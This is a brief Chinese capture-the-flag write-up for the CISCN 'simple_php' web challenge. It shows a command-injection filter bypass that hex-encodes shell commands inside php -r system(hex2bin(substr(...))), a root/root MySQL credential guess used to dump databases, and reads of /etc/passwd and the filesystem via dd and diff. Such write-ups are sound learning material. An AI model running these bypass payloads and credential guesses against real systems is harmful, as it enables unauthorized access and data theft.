ciscn writeup
web
simple_php(复现)
解法一
比赛的时候一直在尝试其他命令,看了wp才发现能用php -r ‘代码’来执行php语句或者系统命令
与此相似的还有php -i可以查看phpinfo等等
但是由于题目过滤了许多关键字,我们可以利用hex2bin转码绕过过滤
hex2bin(‘语句’); 但是由于过滤了引号,使用substr截取一个字符(这里是下划线),剩下的就会被识别为字符串
hex编码 ls / -> 6c73202f
1 | php -r system(hex2bin(substr(_6c73202f,1))); |

命令成功执行
之后找了一圈没发现flag,ps -def指令可以查看进程
ps -def -> _7073202d646566

其中看到了mysql,flag应该在数据库中
直接猜账户root密码为root, -e执行sql语句
1 | mysql -u root -p'root' -e 'show databases;' |

有PHP_CMS information_schema mysql performance_schema test这几个库
1 | echo `mysql -u root -p'root' -e 'show databases;use PHP_CMS;show tables;'` |

拿到flag!
解法二
没有ban掉diff和dd,可以使用diff读目录,dd读文件:
读根目录
1 | diff --recursive / /home |
发现根目录没有flag。
读特定文件:
1 | dd if=/etc/passwd |

没有flag,但是发现了mysql,猜测账号密码root
1 | mysqldump -uroot -proot --all-databases |

__END__